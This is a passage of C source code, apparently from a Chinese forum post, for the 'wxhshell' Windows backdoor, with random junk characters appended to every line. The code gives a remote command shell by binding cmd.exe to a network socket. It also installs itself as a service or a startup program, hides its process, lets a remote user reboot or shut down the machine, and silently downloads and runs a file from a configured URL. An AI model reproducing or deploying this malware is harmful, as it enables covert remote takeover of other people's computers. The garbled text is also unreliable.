  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); tpKQ$) ed  
  } xx%*85<  
  else { gf|&u4D  
3],[6%w  
    switch(cmd[0]) { {E>(%vD  
  ;cWFh4_  
  // 帮助 p:|p?  
  case '?': { rAQ3x0  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); }j#c#''i  
    break; qIgb;=V  
  } UrB {jS?  
  // 安装 5CM]-qbf@  
  case 'i': { Cx`?}A\%  
    if(Install()) &eX^ll  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); }Q>??~mVl  
    else 3ry0.  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 8~h.i1L  
    break; sX=_|<[  
    } gM Z `  
  // 卸载 [ Q20c<,  
  case 'r': { G]fx3=  
    if(Uninstall()) knu>{a}  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); q%}54E80  
    else +p)kemJ~  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); +P 9h%/Yk  
    break; +Tp>3Jh2  
    } Y !nE65  
  // 显示 wxhshell 所在路径 KZTT2KsYl  
  case 'p': { SNf*2~uq)  
    char svExeFile[MAX_PATH]; lA7\c#  
    strcpy(svExeFile,"\n\r"); \RyW#[(  
      strcat(svExeFile,ExeFile); ucC'SS  
        send(wsh,svExeFile,strlen(svExeFile),0); Ps7Bt(/  
    break; t{ScK%S6  
    } ]1n =O"vE  
  // 重启 5?4jD]Z  
  case 'b': { \!:^=2VF  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); S4(lC%$|  
    if(Boot(REBOOT)) d+Jj4OnP  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Ja#ti y  
    else { v`pIovn  
    closesocket(wsh); "EC,#$e%ev  
    ExitThread(0); rQPV@J]:  
    } L(eLxw e%  
    break; 4o*wLCo7^  
    } !BW6l)=L  
  // 关机 cYp]zn+6  
  case 'd': { V@Fj!/  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); 2AI~Jm#  
    if(Boot(SHUTDOWN)) M2e_)f:  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); C e1^S[  
    else { yGtGhP8  
    closesocket(wsh); =;^#5dpt$  
    ExitThread(0); ue{0X\[P<  
    } r%~/y  
    break; (Y%pk76d  
    } re\&'%~K  
  // 获取shell Mk@%Wuxg2  
  case 's': { E"$AOM?(*i  
    CmdShell(wsh); 7LY4q/  
    closesocket(wsh); \"@BZ.y  
    ExitThread(0); v9s /!<j  
    break; 7ClN-/4  
  } BiUbg6T.G  
  // 退出 li?RymlF  
  case 'x': { %-eags~sUC  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); U#W9]il$  
    CloseIt(wsh); 7R`:^}'>  
    break; fPW(hb;  
    } 8P= z"y  
  // 离开 N v,Yikf  
  case 'q': { qkN{l88  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); t1)Qa(#]  
    closesocket(wsh); }<hyW9  
    WSACleanup(); (},TZ+u  
    exit(1); X!%CYmIRb  
    break; 4=E9$.3a  
        } SiyZq"  
  } 'XHKhpm<  
  } UfnjhHu  
J2W:Q  
  // 提示信息 R4Vi*H  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); {m/h3hjFa  
} !yQ#E2/A  
  } A\7qPfpG  
LD~/*  
  return; 8QN#PaY  
} =)GhrWeVi4  
i?&g;_n^  
// shell模块句柄 H#l uG_)  
int CmdShell(SOCKET sock) +84JvOkWi  
{ Hki  
STARTUPINFO si; s<t*g]0`/  
ZeroMemory(&si,sizeof(si)); P=%' 2BQ{{  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; b+.P4+  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; tz&oe  
PROCESS_INFORMATION ProcessInfo; ~;A36M-[.  
char cmdline[]="cmd"; vf+GC*f  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); 2}P?N  
  return 0; L`Lro:E?kL  
} E6  2{sA^  
1 \_S1ZS  
// 自身启动模式 t_PAXj  
int StartFromService(void) D`2c61jyc  
{ nmn 8Y V1  
typedef struct s6|Ev IVM  
{ _S[@d^cY  
  DWORD ExitStatus; Bu\:+3)  
  DWORD PebBaseAddress; spE(s%dgL  
  DWORD AffinityMask; "r Bb2.  
  DWORD BasePriority; XUrxnJ4  
  ULONG UniqueProcessId; qMrBTq[  
  ULONG InheritedFromUniqueProcessId; '7UW\KEB[}  
}   PROCESS_BASIC_INFORMATION; yrnIQu*Uu  
4#oLf1  
PROCNTQSIP NtQueryInformationProcess; ppjS|l*`  
4]F:QS% x  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; #&A)%Qbg  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; #G;0yB:76  
J1Ay^*qRU  
  HANDLE             hProcess; ?n 9<PMo  
  PROCESS_BASIC_INFORMATION pbi; yaiw|j`A  
j`GL#J[wqQ  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); &"(xd@V)]A  
  if(NULL == hInst ) return 0; F|t3%dpj  
}6;v`1Hr  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); Z9MT, "  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); -^i[   
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); IXaF(2>  
MY]Z@  
  if (!NtQueryInformationProcess) return 0; a&3pPfC  
dVh*  a  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); Gy+/P6  
  if(!hProcess) return 0; SL9]$MmJn  
o\oS_f:RD  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; ^{3,ok*Nf  
9U[ A   
  CloseHandle(hProcess); BM_hW8&G  
&\Es\qVSf  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); &R\t<X9 n  
if(hProcess==NULL) return 0; a9hK8e  
Sl,\  <a  
HMODULE hMod; b '1n1L  
char procName[255]; sOegR5?;  
unsigned long cbNeeded; h JVy-]  
5.KhI<[  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); bG`aF*10)!  
s}NE[Tw  
  CloseHandle(hProcess); r~&[Gaw  
^XsIQz[q  
if(strstr(procName,"services")) return 1; // 以服务启动 TC7Rw}jF  
j:)"s_  
  return 0; // 注册表启动 [YbnpI  
} |~'PEY  
hmfO\gc}y  
// 主模块 5C}1iZEJ  
int StartWxhshell(LPSTR lpCmdLine) ~(( '1+  
{ ){u/v[O9"  
  SOCKET wsl; _O76Aw-@l  
BOOL val=TRUE; Sm@T/+uG:  
  int port=0; n-/ {H4\  
  struct sockaddr_in door; cO]_5@#f'8  
3 ZZ"mlk*  
  if(wscfg.ws_autoins) Install(); 'jr\F2  
'G6g yO/K  
port=atoi(lpCmdLine); Sn(e@|!G  
;}iV`)S  
if(port<=0) port=wscfg.ws_port; p ~/  
;7jszs.6%  
  WSADATA data; I{e[Y_  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; nH6Ny  
ia'eV10  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   Q{s9{  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); fwe4f  
  door.sin_family = AF_INET; JDTlzu1hR  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); 8zDLX,M-  
  door.sin_port = htons(port); 3#O R fr(  
UcZ20inj0  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { T1\LS*~!  
closesocket(wsl); !p&[:+qN  
return 1; (!^i6z0Sp  
} E}7@?o7u}  
N- !>\n  
  if(listen(wsl,2) == INVALID_SOCKET) { ! ^~ ^D<  
closesocket(wsl); n};:*N! v  
return 1; 7Nu.2qE  
} TuF;>{~}  
  Wxhshell(wsl); ,".1![b  
  WSACleanup(); |ia#Elavo  
nY]5pOF:  
return 0; q5@N//<DNN  
k}MmgaT:5]  
} >iZ"#1ZL2O  
[{}Hk%wlX  
// 以NT服务方式启动 0Nvk|uI V[  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) +v!% z(  
{ Owe"x2D\  
DWORD   status = 0; RM\A$.5  
  DWORD   specificError = 0xfffffff; K{]9Yo  
zWN<"[agc  
  serviceStatus.dwServiceType     = SERVICE_WIN32; c#-o@`Po  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; v- 793pr  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; z( 00"ei  
  serviceStatus.dwWin32ExitCode     = 0; >-%tvrS%  
  serviceStatus.dwServiceSpecificExitCode = 0; /6K9? /  
  serviceStatus.dwCheckPoint       = 0; SauX C  
  serviceStatus.dwWaitHint       = 0; RgB5'$x}  
(hB+DPi  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); })?t:zX#*  
  if (hServiceStatusHandle==0) return; DJ zJ$Q  
?pBQaUl&  
status = GetLastError(); y'$R e  
  if (status!=NO_ERROR) bdS  
{ 2LO8SJ#  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; \ 5&-U@  
    serviceStatus.dwCheckPoint       = 0; +4*3aWf`  
    serviceStatus.dwWaitHint       = 0; i[IOR0  
    serviceStatus.dwWin32ExitCode     = status; E.V lz^B  
    serviceStatus.dwServiceSpecificExitCode = specificError; *Y:;fl +v  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); 5_H`6-q  
    return; _l{`lQ}  
  } *VuiEBG  
>/BMA;`  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; [w1 4hHnq  
  serviceStatus.dwCheckPoint       = 0; pXoD*o b  
  serviceStatus.dwWaitHint       = 0;  ktA5]f;  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); x6qQ Y<>  
} Whd\Ub8(  
(dH "b *  
// 处理NT服务事件,比如:启动、停止 8zI*<RX.Q  
VOID WINAPI NTServiceHandler(DWORD fdwControl) // k`X  
{ ;2k!KW@  
switch(fdwControl) o)V@|i0Js  
{ fTq/9=Rq4  
case SERVICE_CONTROL_STOP: EE{]EW(  
  serviceStatus.dwWin32ExitCode = 0; *F^t)K2  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; /h(bMbZ  
  serviceStatus.dwCheckPoint   = 0; NFs Cq_f  
  serviceStatus.dwWaitHint     = 0; DN$[rCi7  
  { 6rP?$mn2  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); prk@uYCa =  
  } Wx:He8N] H  
  return; d-rqZn}  
case SERVICE_CONTROL_PAUSE: qh]D=i  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; }xA Eu,n^  
  break; 99KW("C1F  
case SERVICE_CONTROL_CONTINUE: ITt*TuS 2c  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; ~Y_5q)t(  
  break; [C0"vOTUb  
case SERVICE_CONTROL_INTERROGATE:  X_\$hF  
  break; PwC9@c%c  
}; |7$Q'3V  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); B - 1Kfc  
} D;Bij=  
Qo5yfdR  
// 标准应用程序主函数 fe3a_gYPz  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) \ cr)O^&  
{ (i1q".  
,6EFJVu \  
// 获取操作系统版本 pXhN?joe  
OsIsNt=GetOsVer(); ] >4CBm$  
GetModuleFileName(NULL,ExeFile,MAX_PATH); Fd1t/B,  
Y 9SaYSX  
  // 从命令行安装 !q8"Q t  
  if(strpbrk(lpCmdLine,"iI")) Install(); M(|6YF7u  
L=_   
  // 下载执行文件 W6A-/;S\  
if(wscfg.ws_downexe) { gj@>9  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) Bo4MoSF}  
  WinExec(wscfg.ws_filenam,SW_HIDE); nK8IW3fX9)  
} kM;}$*?  
r+W;}nyf  
if(!OsIsNt) { <9/?+)  
// 如果时win9x,隐藏进程并且设置为注册表启动 4}r.g0L  
HideProc(); N?{.}-Q  
StartWxhshell(lpCmdLine); Y(<(!TJ-  
} wqasI@vyu  
else &-c{  
  if(StartFromService()) tJa*(%Z?f  
  // 以服务方式启动 \hO}3;*&  
  StartServiceCtrlDispatcher(DispatchTable); c$n`=NI  
else ?X'l&k>  
  // 普通方式启动 NtDxwzj  
  StartWxhshell(lpCmdLine); dsG:DS`q  
wZsjbNf`K  
return 0; ZWb\^N  
}
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只看该作者 1 发表于: 2006-10-10
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